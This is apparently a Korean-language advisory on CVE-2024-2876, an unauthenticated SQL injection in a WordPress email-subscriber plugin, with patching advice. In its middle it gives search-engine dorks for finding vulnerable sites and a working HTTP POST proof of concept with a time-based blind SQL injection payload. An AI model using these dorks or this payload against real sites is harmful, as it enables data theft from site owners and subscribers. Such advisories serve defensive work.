CVE-2024-2876 - Email Subscribers by Icegram Express의 SQL 인젝션 취약점

개요

CVE-2024-2876는 WordPress용 "Email Subscribers by Icegram Express" 플러그인에서 발견된 치명적인 보안 취약점입니다. 이 취약점은 5.7.14 이하 버전에 영향을 미치며 90,000개 이상의 웹사이트에 심각한 위험을 초래합니다.

취약점 세부 정보

CVE-ID: CVE-2024-2876
CVSS 점수: 9.8 (치명적)
영향을 받는 버전: 5.7.14 이하
패치된 버전: 5.7.15 이상

설명

이 취약점은 인증되지 않은 공격자가 영향을 받는 WordPress 데이터베이스에서 악성 SQL 쿼리를 실행할 수 있게 하는 SQL 인젝션 결함입니다. 제대로 필터링되지 않은 사용자 입력을 조작함으로써 공격자는 사용자 이름, 이메일 주소, 비밀번호 해시, 구독자 목록과 같은 민감한 정보를 추출할 수 있습니다.

악용 메커니즘

SQL 인젝션은 플러그인의 IG_ES_Subscribers_Query 클래스에 있는 run 함수 내에서 발생하며, 불충분한 입력 검증으로 인해 승인되지 않은 SQL 코드가 실행됩니다. 이로 인해 WordPress 데이터베이스에 저장된 데이터의 무결성과 기밀성이 손상됩니다.

Dorks CVE-2024-2876

FOFA : body="/wp-content/plugins/email-subscribers/"
publicwww : "/wp-content/plugins/email-subscribers/"

POC CVE-2024-2876

POST /wp-admin/admin-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111

권장 사항

즉시 업데이트: "Email Subscribers by Icegram Express" 플러그인을 사용 중이라면 보안 수정을 적용하기 위해 즉시 5.7.15 이상 버전으로 업그레이드하세요.
정기적인 감사: 보안을 보장하기 위해 모든 WordPress 플러그인과 테마를 최신 버전으로 정기적으로 검토하고 업데이트하세요.
보안 플러그인: SQL 인젝션 및 기타 사이버 위협에 대한 방어를 강화하려면 평판이 좋은 WordPress 보안 플러그인을 사용하세요.
강력한 비밀번호 정책: 무단 액세스 위험을 줄이기 위해 WordPress 사이트와 관련된 모든 계정에 강력하고 고유한 비밀번호를 사용하세요.

미준수 시 영향

영향을 받는 플러그인을 업데이트하지 않으면 웹사이트가 데이터 유출 및 무단 액세스에 취약해질 수 있습니다. 이 플러그인의 광범위한 사용을 고려할 때, 설치를 보호하려면 즉각적인 조치가 중요합니다.

CVE-2024-2876

인기